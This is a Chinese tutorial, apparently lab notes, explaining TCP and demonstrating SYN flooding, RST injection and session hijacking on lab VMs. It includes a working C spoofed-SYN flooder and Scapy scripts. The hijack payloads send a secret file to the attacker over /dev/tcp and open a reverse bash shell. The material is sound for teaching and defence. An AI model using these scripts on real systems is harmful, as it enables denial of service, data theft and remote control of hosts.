对TCP协议的攻击
TCP是如何工作的
- TCP客户端程序
- 首先编写一个简单的TCP客户端程序,它使用TCP发送一个简单的信息给服务器。
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>int main()
{//1int sockfd = socket(AF_INET,SOCK_STREAM,0);//2struct sockaddr_in dest;memset(&dest,0,sizeof(struct sockaddr_in));dest.sin_family = AF_INET;dest.sin_addr.s_addr = inet_addr("192.168.137.129");dest.sin_port = htons(9090);//3connect(sockfd,(struct sockaddr*)&dest,sizeof(struct sockaddr_in));//4char* buffer1 = "Hello Server!\n";char* buffer2 = "Hello Again!\n";write(sockfd, buffer1,strlen(buffer1));write(sockfd,buffer2,strlen(buffer2));//5close(sockfd);return 0;
}
line 1:当建立socket需要指明通信的类型,SOCK_STREAM是代表TCP。
line 2:设置目的地信息。需要提供服务端的信息,以便系统知道将TCP数据发送到哪里,服务端信息包括IP地址和端口号。
line 3:连接服务端,TCP是一个面向连接的协议,这意味着两端可以互相交交换数据,需要先建立连接。
line 4:发送和接收数据,一旦连接建立,两端便可通过系统调用发送和接收数据,发送数据可以使用write()、send()、sendto()和sendmsg()等系统调用,接收数据可以使用read()、recv()和recvform()等系统调用。
line 5:关闭连接,一旦通信结束,连接需要被关闭,这样它占用的系统资源将被释放。
- 运行程序,在服务端运行nc命令监听:
$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.137.130] port 9090 [tcp/*] accepted (family 2, sport 39848)
Hello Server!
Hello Again!
- TCP服务端程序。
- 它简单地打印从客户端收到的内容。
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>int main()
{int sockfd,newsockfd;struct sockaddr_in my_addr,client_addr;char buffer[100];//1sockfd = socket(AF_INET,SOCK_STREAM,0);//2memset(&my_addr,0,sizeof(struct sockaddr_in));my_addr.sin_family = AF_INET;my_addr.sin_port = htons(9090);bind(sockfd,(struct sockaddr*)&my_addr,sizeof(struct sockaddr_in));//3listen(sockfd,5);//4int client_len = sizeof(client_addr);newsockfd = accept(sockfd,(struct sockadrr*)&client_addr,&client_len);//5memset(buffer,0,sizeof(buffer));int len = read(newsockfd,buffer,10);printf("Received %d bytes: %s",len,buffer);close(newsockfd);close(sockfd);return 0;
}
line 1:建立一个socket。
line 2:绑定一个端口号,一个应用如果需要与其他应用通过网络连接,则需要在主机上注册一个端口号,这样当一个数据包到达时,基于数据包指定的端口号,操作系统可以知道哪个应用时数据包的接收者,服务需要告知操作系统它使用的端口号,这是通过系统调用bind()来完成的。
line 3:监听连接,一旦连接建立,程序使用系统调用listen()等待连接,建立好的连接被放置于一个队列中,等待应用程序接管,listen()的第二个参数指明了队列最多能存放多少个等待的连接,如果队列已满,后来的连接请求将不会被接收。
line 4:接受连接请求,虽然连接已经建立,但对应用程序来说它还是不可用的,一个应用需要明确地表示接受连接,这便是系统调用accept()目的,它从队列中取出一个连接请求,建立一个新的socket,并把socket的文件描述符返回给应用程序。
line 5:发送和接收数据,一旦连接建立并被接受,连接双方就可以传输数据了,服务端发送和接受数据的方式与客户端相同。
- 接受多条连接
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>int main()
{int sockfd,newsockfd;struct sockaddr_in my_addr,client_addr;char buffer[100];//1sockfd = socket(AF_INET,SOCK_STREAM,0);//2memset(&my_addr,0,sizeof(struct sockaddr_in));my_addr.sin_family = AF_INET;my_addr.sin_port = htons(9090);bind(sockfd,(struct sockaddr*)&my_addr,sizeof(struct sockaddr_in));//3listen(sockfd,5);//4int client_len = sizeof(client_addr);while(1){newsockfd = accept(sockfd,(struct sockaddr*)&client_addr,&client_len);if(fork()==0){close(sockfd);memset(buffer,0,sizeof(buffer));int len = read(newsockfd,buffer,100);printf("Received %d bytes: %s",len,buffer);close(newsockfd);return 0;}else{close(newsockfd);}}return 0;
}
系统调用fork()通过复制调用进程创建了一个新的进程,这两个进程会运行同样的代码,但父进程运行的fork()会返回子进程的进程ID,而进程运行的fork()则会返回0。
上述代码中的if分支只会在子进程中执行,而else分支则会在父进程中被执行,因为sockfd没有在子进程中使用,所以它需要被关闭,同样地,父进程也不会使用newsockfd,所以也要关闭它。
- 数据传输的底层原理
- 一旦一个连接建立,操作系统将会为连接的每一端分配两个缓冲区,一个用来发送数据,一个用来接收数据,TCP是双工的,也就说,两端都可以发送和接受数据。
- 当一个应用需要发送数据时,它并不是直接构建一个数据包,而是将数据放在TCP发送缓冲区中,然后由操作系统的TCP协议栈将数据打包发出。
- 发送缓冲区中的每个字节都有一个序号与它关联,在TCP数据包头部有一个字段叫做序列号,他表示载荷中的第一个字节对应的序列号,当数据包到达时,TCP利用TCP数据头部的序列号将数据包放进接受缓冲区的正确位置,因此,即使数据包不按顺序到达,它也能按序排列。
- 一旦数据被放进缓冲区,它们会被合并成一条数据流,不管它们来自于相同的数据包还是不同的数据包,数据包的边界将会消息,当接收缓冲区得到足够的数据时,TCP可以让应用读取这些数据。
- 接收端必须告知发送端数据已经收到,它会向发送端发送确认包,处于效率原因,接收端不会对每个接收到的数据包都发送确认包,实际上它告知发送端的是下一个希望收到数据的序列号。
- TCP头部
SYN泛洪攻击
- 三次握手协议
- 在TCP中,客户端和服务端通信之前需要先建立一个TCP连接,服务端首先需要进入监听状态以准备接收连接请求,而客户端则需要发出连接请求来启动握手协议。
- 当服务端收到初始SYN包时,它使用一个叫做传输控制块(TCB)的特殊数据结构来存储连接的信息,到这一步,连接还没有完全建立,因此称为半打开连接,即只有客户端到服务端方向的连接被确认,而服务端到客户端方向的连接还没有初始化,服务端将TCP存储在一个只用于存放半打开连接的队列中,在服务端从客户端得到ACK包后,它会将PCB拿出队列。
- 如果最后的ACK包没有到达,服务端会重新发送SYN+ACK包,如果最后的ACK包一直收不到,存储在半打开连接队列中TCP最终会因超时而被丢弃。
- 在三次握手连接完成之前,服务器将所有半打开连接存储到一个队列中,这个队列容量是有限的,如果攻击者可以快速填满这个队列,那么服务器将没有空间空间来存储任何半打开连接的TCB,它将不会在接受任何新的SYN包,即使它的CPU和带宽还没达到上限,结果就是任何人都无法连接服务器。
- 填满半打开连接的队列:
- 连续发送SYN包给服务器。
- 不要完成三次握手协议的第三步,因为每一个SYN包都会使一个TCB被插入队列中,所以这一步会消耗掉队列的空间。
- TCB会被移除队列的情况:
- 客户端完成了三次握手协议。
- 一个记录在队列中超时。
- 服务器收到了半打开连接的Reset包。
- 进行SYN泛洪攻击
- 实验中启动了三个虚拟机,一个是用户(192.168.137.1),一个是服务器(192.168.137.130),一个是攻击者(192.168.137.129)。
- 对于服务器,需要关闭在Ubuntu中默认启动的称为SYN Cookie的防御措施,这个措施对于防御SYN泛红攻击是很有效的。
[07/15/20]seed@VM:~$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
- 在攻击之前,需要先检查服务器中半打开连接的状态,可以使用netstat -tna命令。
[07/15/20]seed@VM:~$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:52375 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 192.168.137.130:22 192.168.137.1:50602 ESTABLISHED
tcp 0 52 192.168.137.130:22 192.168.137.1:53956 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::21 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:631 :::* LISTEN
tcp6 0 0 :::3128 :::* LISTEN
tcp6 0 0 ::1:6010 :::* LISTEN
tcp6 0 0 ::1:6011 :::* LISTEN
- 从下面结果来看,有很多处于监听状态的连接,这表明一些应用正待等待TCP连接,也可以看到一个状态为ESTABLISHED的TCP连接,这就是telnet连接,半打开连接的状态是SYN_RECV,但没有看到任何半打开状态的连接。
- 为了进行SYN泛红攻击,需要发送大量的SYN包,每一个都有一个随机的源IP地址,将会使用现成的工具来实现,这个工具叫做synflood,是Netwox工具的76.
[07/15/20]seed@VM:.../Attacker$ sudo netwox 76 -i 192.168.137.130 -p 23 -s raw
- 在攻击中,目标是服务器的telnet服务,它用的是TCP的23号端口,另外服务器的IP地址是192.168.137.130,-s的raw意味着在ip4/ip6层进行数据包伪造,而不是链路层。
- 再次使用,netstat命令检查半打开连接的状态,可以看到很多半打开连接的状态,而且源地址好像都是随机的。
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.137.130:23 242.93.67.164:32390 SYN_RECV
tcp 0 0 192.168.137.130:23 252.107.165.187:41089 SYN_RECV
tcp 0 0 192.168.137.130:23 248.203.57.16:48642 SYN_RECV
tcp 0 0 192.168.137.130:23 242.54.133.114:64244 SYN_RECV
tcp 0 0 192.168.137.130:23 251.185.134.52:52313 SYN_RECV
tcp 0 0 192.168.137.130:22 192.168.137.1:50602 ESTABLISHED
tcp 0 0 192.168.137.130:23 251.121.92.210:9883 SYN_RECV
tcp 0 0 192.168.137.130:23 254.51.242.41:25299 SYN_RECV
tcp 0 0 192.168.137.130:23 246.176.154.160:40941 SYN_RECV
tcp 0 0 192.168.137.130:23 252.204.248.124:22565 SYN_RECV
tcp 0 0 192.168.137.130:23 241.7.117.215:40475 SYN_RECV
tcp 0 0 192.168.137.130:23 244.44.250.253:6286 SYN_RECV
tcp 0 0 192.168.137.130:23 242.255.44.185:52611 SYN_RECV
tcp 0 0 192.168.137.130:23 248.216.78.17:21601 SYN_RECV
...
- 为了证明攻击的确成功了,可以让用户端通过telnet连接服务器,telnet客户端连接一段时间后最终放弃了:
Connecting to 192.168.137.130:23...
Could not connect to '192.168.137.130' (port 23): Connection failed.
- 攻击并没有占用服务器太多的CPU资源,这可以通过在服务器中运行top命令来检验,从下面的结果可以看出,CPU的使用率并不高,检查已有的从客户端到服务器的连接,它们也正常工作,除了没有多余的空间给半打开的连接,服务器基本上始终活跃而且正常工作。
[07/15/20]seed@VM:~$ top
op - 02:01:55 up 2:24, 3 users, load average: 0.15, 0.10, 0.03
Tasks: 336 total, 1 running, 334 sleeping, 1 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni, 99.9 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 8290764 total, 6895640 free, 657492 used, 737632 buff/cache
KiB Swap: 1046524 total, 1046524 free, 0 used. 6910560 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 839 proxy 20 0 76084 20692 8788 S 0.3 0.2 0:00.68 squid 1257 root 20 0 30524 7652 6912 S 0.3 0.1 0:05.24 vmtoolsd 1375 root 20 0 4556 1996 1708 S 0.3 0.0 0:00.37 irqbalance 5609 seed 20 0 10676 5320 4596 R 0.3 0.1 0:00.39 top 1 root 20 0 24296 5048 3568 S 0.0 0.1 0:02.13 systemd 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd 3 root 20 0 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0 5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H 7 root 20 0 0 0 0 S 0.0 0.0 0:00.40 rcu_sched 8 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh 9 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0 10 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 lru-add-drain 11 root rt 0 0 0 0 S 0.0 0.0 0:00.00 watchdog/0 12 root 20 0 0 0 0 S 0.0 0.0 0:00.00 cpuhp/0 13 root 20 0 0 0 0 S 0.0 0.0 0:00.00 cpuhp/1 14 root rt 0 0 0 0 S 0.0 0.0 0:00.00 watchdog/1 15 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/1 16 root 20 0 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/1 18 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/1:0H 19 root 20 0 0 0 0 S 0.0 0.0 0:00.00 cpuhp/2 20 root rt 0 0 0 0 S 0.0 0.0 0:00.01 watchdog/2
- SYN攻击只是针对某个具体服务的,同一台计算机中的其他服务不受影响,例如,实验中的攻击对象是telnet服务器,其他服务(如SSH)不会受到影响,这是因为不同服务使用的是各自的半打开连接队列,而不是一个公共队列。
- 编程进行SYN泛洪攻击
- 伪造TCP数据包,在伪造的数据包中,使用随机作为源IP地址、源端口和序列号,这次攻击的目标是Web服务,而不是telnet服务。
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdlib.h>#define DEST_IP "192.168.137.130"
#define DEST_PORT 80
#define PACKET_LEN 1500
#define TH_SYN 1
typedef struct tcpheader
{u_short tcp_sport;u_short tcp_dport;u_int tcp_seq;u_int tcp_ack;u_int tcp_offx2:4;u_char tcp_flags;u_short tcp_win;u_short tcp_sum;u_short tcp_urp;
};
struct ipheader{unsigned char iph_ihl:4,iph_ver:4;unsigned char iph_tos;unsigned short int iph_len ;unsigned short int iph_ident;unsigned short int iph_flag:3,iph_offset:12;unsigned char iph_ttl;unsigned char iph_protocol;unsigned short int iph_chksum;struct in_addr iph_sourceip;struct in_addr iph_destip;};
struct pseudo_tcp{unsigned saddr,daddr;unsigned char mbz;unsigned char ptcl;unsigned short tcpl;struct tcpheader tcp;char payload[PACKET_LEN];
};
unsigned short in_cksum(unsigned short* buf,int length)
{unsigned short * w = buf;int nleft = length;int sum = 0;unsigned short temp = 0;while(nleft > 1){sum += *w++;nleft -= 2;}if(nleft == 1){*(u_char*)(&temp) = *(u_char *)w;sum+= temp;}sum = (sum>>16) + (sum&0xffff);sum+= (sum>>16);return (unsigned short)(~sum);
}
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip + sizeof(struct ipheader));int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);struct pseudo_tcp p_tcp;memset(&p_tcp,0x0,sizeof(struct pseudo_tcp));p_tcp.saddr = ip->iph_sourceip.s_addr;p_tcp.daddr = ip->iph_destip.s_addr;p_tcp.mbz =0;p_tcp.ptcl = IPPROTO_TCP;p_tcp.tcpl = htons(tcp_len);memcpy(&p_tcp.tcp,tcp,tcp_len);return (unsigned short) in_cksum((unsigned short*)&p_tcp,tcp_len+12);
}
void send_raw_ip_packet(struct ipheader* ip){struct sockaddr_in dest_info;int enable =1;//1int sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);//2setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&enable,sizeof(enable));//3dest_info.sin_family = AF_INET;dest_info.sin_addr = ip->iph_destip;//4sendto(sock,ip,ntohs(ip->iph_len),0,(struct sockaddr*)&dest_info,sizeof(dest_info));close(sock);}
int main()
{char buffer[PACKET_LEN];struct ipheader* ip = (struct ipheader*)buffer;struct tcpheader* tcp = (struct tcpheader*)(buffer + sizeof(struct ipheader));srand(time(0));while(1){memset(buffer,0,PACKET_LEN);tcp->tcp_sport = rand();tcp->tcp_dport = htons(DEST_PORT);tcp->tcp_seq = rand();tcp->tcp_offx2 =0x50;tcp->tcp_flags = TH_SYN;tcp->tcp_win = htons(2000);tcp->tcp_sum = 0;ip->iph_ver = 4;ip->iph_ihl = 5;ip->iph_ttl = 50;ip->iph_sourceip.s_addr = rand();ip->iph_destip.s_addr = inet_addr(DEST_IP);ip->iph_protocol = IPPROTO_TCP;ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));tcp->tcp_sum = calculate_tcp_checksum(ip);send_raw_ip_packet(ip);}return 0;
}
- 可以看到很多随机的源地址和端口的数据包被发送到服务器的80端口。
- 防御措施
- 一旦系统检测到半打开连接数量超过一定数量时,SYN cookie机制会被自动激活,这个机制会给性能带来一定影响,因此没有攻击时不会被使用。
- SYN cookie机制的思想是服务器在收到SYN包时并不把它存入半打开连接队列,这样就不会出现队列满了的危险。
- SYN cookies巧妙利用了TCP的初始序号,在服务器收到一个SYN包后,它本应随机产生一个TCP初始序列号,放在SYN+ACK中返回给客户端,然而,SYN cookies会使用只有服务器才知道的密钥对包中的信息(包括IP地址、端口号和序列号等)计算加密哈希值,并把这个哈希值H作为TCP的初始序列号,H就是SYN cookies。如果客户端的ip地址时随机的,这个包将不会送到客户端。如果客户端是一个真正的用户,它将会得到这个数据包,并返回一个字段值H+1的ACK包,当服务器收到ACK包,它可以基于包的信息重新计算cookies,以此检验确认字段中的序列号是否有效。
- 这个验证过程防止了ACK泛红攻击,并确保ACK包是之前的SYN+ACK包的结果,,因为攻击者不知道cookies所需要使用的密钥,所以无法轻易仿造有效的cookies。
TCP复位攻击
- TCP复位攻击的目标是破坏两个主机之间已存在的连接。
- 关闭TCP连接的两种方式。
- 当TCP连接的一端(称为A)没有更多的数据要传给另一端(称为B)时,它会发送一个FIN包给另一端,FIN是TCP数据包头中6个标志位之一,当B收到这个包后,回复一个ACK包,这样,A到B的连接就关闭了,但B到A的连接依旧保持。如果B要关闭这个方向的连接,就发送一个FIN包给A,A再回复一个ACK包,此时整个TCP连接才关闭。
- 只需发送一个简单的TCP RST包给另一方,连接将立刻中断,RST也是TCP数据包头中的6个标志位之一。
- 发动TCP复位攻击前的准备
- 发动攻击前的设置和再SYN泛洪攻击中一样,如果攻击者和客户端或服务器不在一个网络,由于难以正确猜测序列号,攻击将非常困难,尽管实际上也能够实施攻击。
- 实验中把攻击者和客户端放在同一个网络下。
- telnet连接中的TCP复位攻击
- 首先来攻击telnet连接,再设置中,从客户端(192.168.137.1)登录到服务器(192.168.137.130),建立一个连接,攻击者的目标是使用TCP RST包来中断该连接。
- RST包可以发送给客户端也可以发送给服务器,在实验中选择发送给客户端。
- 我们在客户端使用telnet连接到服务器,然后在攻击者的计算机上运行Wireshark来捕获从服务器发送到客户端的最新TCP数据包。
- 可以看到,该TCP数据包的源端口号是23,目标端口号是55027,得到下一个序列号是661902552,它是有sequence number + Tcp segment len得到的,它表示紧接着这个数据包之后的数据将从这个序列号开始。
- 使用Python的Scapy框架编写一个简单的程序来发送RST包:
root@VM:/home/Attacker# sudo apt-get install python-scapy
#!/usr/bin/python
import sys
from scapy.all import *print("SENDING RESET PACKET......");
IPLayer = IP(src="192.168.137.130",dst="192.168.137.1")
TCPLayer = TCP(sport=23,dport=55027,flags="R",seq=661902552)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
- 运行程序,发现客户端的telnet连接已经中断。
[07/15/20]seed@VM:~$
Connection closed by foreign host.
- SSH连接中的复位攻击
- 如果加密是在网络层的,那么整个TCP数据包(包括它的头部)都会被加密,攻击将无法进行,因为加密使得无法嗅探或者伪造数据包。
- SSH的TCP连接时加密的,但它只加密TCP的数据,而不加密TCP头,即这个加密是在网络层之上的传输层中进行的,因为TCP复位攻击只需要伪造TCP头部,不需要加载任何数据,因此TCP的复位攻击可以成功。
- 使用SSH进行实验,攻击方法与telnet类似,只需要将端口从23改成22即可。
#!/usr/bin/python
import sys
from scapy.all import *print("SENDING RESET PACKET......");
IPLayer = IP(src="192.168.137.130",dst="192.168.137.1")
TCPLayer = TCP(sport=22,dport=55052,flags="R",seq=1573416439)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
[07/15/20]seed@VM:~$
Connection closed by foreign host.
- 视频流连接中的TCP复位攻击
- 针对视频流中的TCP复位和针对telnet连接的攻击及其相似,但是复位视频流攻击面临的难题是如何找到准确的序列号。
- 可以编写程序自动完成攻击,该程序嗅探视频流数据包,获取序列号和其他重要参数并且自动发送伪造的TCP RST包,程序用到Python的Scapy框架,假设用户通过IP地址192.168.137.130观看视频。
#!/usr/bin/pythonfrom scapy.all import *def spoof_tcp(pkt):IPLayer = IP(dst="192.168.137.130",src=pkt[IP].dst)TCPLayer = TCP(flags="R",seq=pkt[TCP].ack,dport=pkt[TCP].sport,sport=pkt[TCP].dport)spoofpkt = IPLayer/TCPLayersend(spoofpkt, verbose=0)pkt=sniff(filter='tcp and src host 192.168.137.130',prn=spoof_tcp)
- 上述python程序对每个来自192.168.137.130的TCP包发送一个RST包,这个伪造的数据包被发送到192.168.137.130以重置它的连接。
TCP会话劫持
- 一旦客户端和服务器完成三次握手协议,一个连接就建立了,建立会话后,两端都可以发送数据给对方,由于一台计算机可以与其他计算机有多个并发TCP会话,因此它需要知道一个数据包是属于哪一个TCP会话的。
- TCP使用4元组来唯一确定一个会话:源IP地址、目的IP地址、源端口号、目的端口号。
- 为了使伪造的数据包被接收,还需要满足一个关键条件,那就是TCP序列号,TCP使面向连接的协议,将数据视为字符流,因此TCP会话中的每个字节都有一个唯一的序列号,用来确定它在流中的位置。
- 如果能够在伪造的数据包中正确设置特征和序列号,就能让对方接收伪造的TCP数据,好像它们来自合法的发送方一样,这样就能控制发送方和接收方的会话。如果接收方使telnet服务器,从发送方到接收方的数据是命令,一旦控制了该会话,就可以让telnet服务器运行攻击者的命令,这就是TCP会话劫持。
- 发动TCP会话劫持攻击
- 实验中启动了三个虚拟机,一个是用户(192.168.137.1),一个是服务器(192.168.137.130),一个是攻击者(192.168.137.129)。
- 假设攻击者和客户端或服务器在同一个局域网内。
- 启动telnet连接服务器,找到telnet发送到服务器的最后一个数据包。
实验中启动了三个虚拟机,一个是用户(192.168.137.1),一个是服务器(192.168.137.130),一个是攻击者(192.168.137.129)。
- 假设在服务器的用户账户中有一个极度机密的文件,文件名为secret,可以使用cat命令答应输出内容,但是输出会在服务器中显示,而不是攻击者端。需要将输出重定向到攻击者的计算机。
- 现在攻击者端运行以下命令,建立一个TCP服务器监听9090端口:
root@VM:/home/Attacker# nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
- 使用scapy构造会话劫持攻击程序:
#!/usr/bin/pythonimport sys
from scapy.all import *print("session attack")
IPLayer = IP(src="192.168.137.1",dst="192.168.137.130")
TCPLayer = TCP(sport=55583,dport=23,flags="A",seq=3498598443,ack=3704392790)
Data = "\r cat /home/seed/secret > /dev/tcp/192.168.137.129/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)
- /dev/tcp/192.168.137.129/9090,这并不是一个真正的文件而是一个虚拟的文件,当输入放入其中时,数据会发送到92.168.137.129的90端口,即攻击者的计算机。
- 客户端输出:
root@VM:/home/Attacker# nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.137.130] port 9090 [tcp/*] accepted (family 2, sport 40426)
this is secret
- 如果当前可以看到一个序列号N,则可以在攻击时使用N+100,只要这个序列号在服务器接收窗口的允许范围内,伪造数据就会被放在接收方缓冲区中,当受害者在客户端进行输入时,缺失的数据很快就会被填充,攻击命令也会被执行。
- 需要在伪造数据的开头增加一个/r,否则攻击命令和受害者输入的字符串结合,可以会改变命令的语义。
- 实验中可以使用一个略大一点的序列号,在发送一个攻击包后,服务器并不会马上得到机密内容,它要等待用户输入一些新的字符,直到达到攻击使用的序列号,此时nc程序会立即收到机密内容,表明攻击成功,只要用户依然在使用telnet程序,攻击就可以成功。
- 攻击者注入的数据会扰乱客户端和服务器之间的序列号。
- 当服务器回复欺骗包时,确认域中存放的是攻击者给出的序列号加上有效载荷的长度,但对于客户端来说,因为还没有达到这个序列号,所以它会认为这个回复是无效的,因此会丢弃这个数据包,当然也不会确认收到该数据包,如果回复未被确认,服务器会认为这个回复包丢失了,就会一直重发这个包,而这个包又会一直被客户端丢弃。
- 当在客户端telnet程序输入一些内容时,客户端发出的包使用的序列号已经被攻击者使用了,因此服务器会视这些数据为重复数据,不予理睬,由于得不到任何确认,客户端将会持续重发这些数据,基本上,客户端和服务器将会进入死锁状态,并且一直发送数据给对方并丢弃来自对方的数据。
- 在会话劫持攻击中,可以在伪造包中放入两条命令(用分号分开):第一条命令是下载wget,用来下载被修改的rshd程序,第二条命令是运行rshd程序,然后就可以从攻击者端登入服务器。
- 创建反向shell
- 反向shell是一个运行在远程主机中的shell进程,但它从攻击者端得到输入,并把输出交给攻击者端。
- 使用如下TCP数据项:
Data = "\r /bin/bash -i > /dev/tcp/192.168.137.129/9090 2>&1 0<&1 \r"
- /bin/bash -i > /dev/tcp/192.168.137.129/9090,将TCP伪设备作为Bash程序的标准输出设备。
- bash程序不仅使用标准输出设备也使用标准错误设备,2>&1重定向标准错误设备到文件符1(标注输出设备)。
- 0<&1使用文件符号1作为标准输入设备。
#!/usr/bin/python
import sys
from scapy.all import *print("session attack")
IPLayer = IP(src="192.168.137.1",dst="192.168.137.131")
TCPLayer = TCP(sport=49797,dport=23,flags="A",seq=2855226016,ack=238070712)
Data = "\r /bin/bash -i > /dev/tcp/192.168.137.129/9090 2>&1 0<&1 \r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)
- 此时服务器使用IP地址为192.168.137.131,现在攻击者端启动TCP服务器nc -lv 9090,然后运行上述python程序。
[07/15/20]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.137.131] port 9090 [tcp/*] accepted (family 2, sport 36920)
[07/15/20]seed@VM:~$ ifconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:33:c1:d7 inet addr:192.168.137.131 Bcast:192.168.137.255 Mask:255.255.255.0inet6 addr: fe80::1fc6:9353:f37f:93f9/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:1947 errors:0 dropped:0 overruns:0 frame:0TX packets:236 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000 RX bytes:210458 (210.4 KB) TX bytes:25981 (25.9 KB)Interrupt:19 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0inet6 addr: ::1/128 Scope:HostUP LOOPBACK RUNNING MTU:65536 Metric:1RX packets:196 errors:0 dropped:0 overruns:0 frame:0TX packets:196 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1 RX bytes:28877 (28.8 KB) TX bytes:28877 (28.8 KB)
- 根据ip地址显示,我们成功创建了反向shell。
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- 浅谈Exchange——迁移用户命令及排查处理
查询统计查看迁移进度Get-MoveRequest -MoveStatus inprogress | Get-MoveRequestStatistics | Sort-Object -Descending PercentComplete | ft displayname,statusdetail,percent*,sourcedatabase -AutoSize -Wrap2010迁移2016进度:$allmailbox=Get-Mailbox -ResultSize Unli…...
2024/4/18 23:19:28 - 用代码告诉你你家的经纬度
前两天导师跟我说要做一个程序可以查询某一个地点的经纬度,由于当时我在外happy,就跟导师说回去在弄,没想到导师自己弄完了,用了百度地图的接口 其实很简单的,就是一个接口的事 import requests # 通过地址获取经纬度 def address_to_coordinate( address ):base_url = &q…...
2024/4/18 16:03:53 - LNK2019:无法解析的外部符号
LNK2019:无法解析的外部符号 1.静态调用动态库,类对象声明时,class后未添加 __declspec(dllexport)...
2024/4/10 20:54:00 - 【GAMES101】光栅化
原文地址:link 最近在学习计算机图形学,发现闫令琪教授在B站讲授的GAMES101非常好、浅显易懂。本期,整理了光栅化(Rasterization)相关内容。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yh5KJNUc-1594813851094)(https://imgkr.cn-bj.ufileos…...
2024/4/14 9:17:06 - pysnmp实现walk
pysnmp实现walk from pysnmp.hlapi import * def walk(ip, oid):res=[]for (errorIndication,errorStatus,errorIndex,varBinds) in nextCmd(SnmpEngine(), CommunityData(123), UdpTransportTarget((ip, 161)), ContextData(),ObjectType(ObjectIdentity(oid)).addMibSource(C…...
2024/4/12 12:00:09 - Python 读取.txt文件报错“‘utf-8‘ codec can‘t decode byte 0x92”
Python3 使用open(filename, r).read()读取 .txt 文件时抛出异常:UnicodeDecodeError: utf-8 codec cant decode byte 0x92 in position 66: invalid start byte相同语句在Python2下运行时却正常。原因分析:0x92 即 10010010,UTF8 中编码一个字符的第一个字节(start byte)只…...
2024/4/12 8:21:42 - nodejs与webpack安装
webpack安装安装node.js (1) 下载: 网址一(会比较慢):https://nodejs.org/en/download/ 网址二:http://nodejs.cn/download/ (2)(我选用的是网址二,速度很快)下载完成点击下载的可执行文件即可点击next选择安装路径,点击next默认安装这四个就行,之后一路next,最…...
2024/4/16 16:43:11 - vxe-table tree 展开 bug
展开 // vxe-table 官网给的api $refs.xTree.setAllTreeExpand(true)// 实战中 打印出这个 $refs.xTree.setAllTreeExpansion(true)...
2024/4/16 21:25:43 - Java简介
1. Java历史 • 1991年,SUNMicroSystem公司的JameGosling、BillJoe等人为在电视、控制烤箱等家用消费类电子产品上进行交互式操作而开发了一个名为Oak的软件。 • Oak—>Java:互联网给Java带来新的生机 • 1995年Sun向公众推出Java并引起业界的轰动…...
2024/4/15 11:37:58 - 程序的环境和预处理
源文件--》编译器--》目标文件--》链接器《--链接库|可执行程序 编译器需要进行预处理,编译,汇编。而连接器需要将目标文件和c库文件进行链接 形成可执行程序。预处理需要进行头文件展开,去注释,宏替换,条件编译,编译是 将c变成汇编代码,汇编是将汇编代码变成二进制目标…...
2024/4/10 20:53:57 - Python核心编程在线学习
